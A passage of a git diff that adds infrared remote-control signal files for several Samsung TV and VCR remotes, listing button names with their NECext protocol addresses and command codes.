KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir new file mode 100644 index 000000000..875610fb8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: s.mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: turbo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: s.menu +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: s.std +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: p.std +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: ttx/mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: p.size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir new file mode 100644 index 000000000..aae50b467 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: cp- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: cp+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: pstd +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: psize +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir new file mode 100644 index 000000000..7a169502a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: -CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: +CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 21 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: P.STD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: S.STD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 66 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir new file mode 100644 index 000000000..89c523d4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: display +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: skip_back +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: skip_forward +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir new file mode 100644 index 000000000..1e9c87fa5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: P.STD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir new file mode 100644 index 000000000..ebede3b05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: S.MODE-II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TTX/MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: CH/P+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir new file mode 100644 index 000000000..e492f6602 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: SLOW-PLUS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW-MINUS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: CNT.RESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: TRK-UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: TRK-DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir new file mode 100644 index 000000000..76bc8d3f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: c/p+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: c/p- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: contrast- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: contrast+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: standby +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: 1- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: 2- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir new file mode 100644 index 000000000..b5a94e4d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: mts +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: h.scan +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 31 00 00 00 +# +name: r.surf +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: turbo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 64 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir new file mode 100644 index 000000000..e24c11a57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: pre-ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: p.mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: p.size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir new file mode 100644 index 000000000..c19b20ff4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: dual_I-II +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: source-wh +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 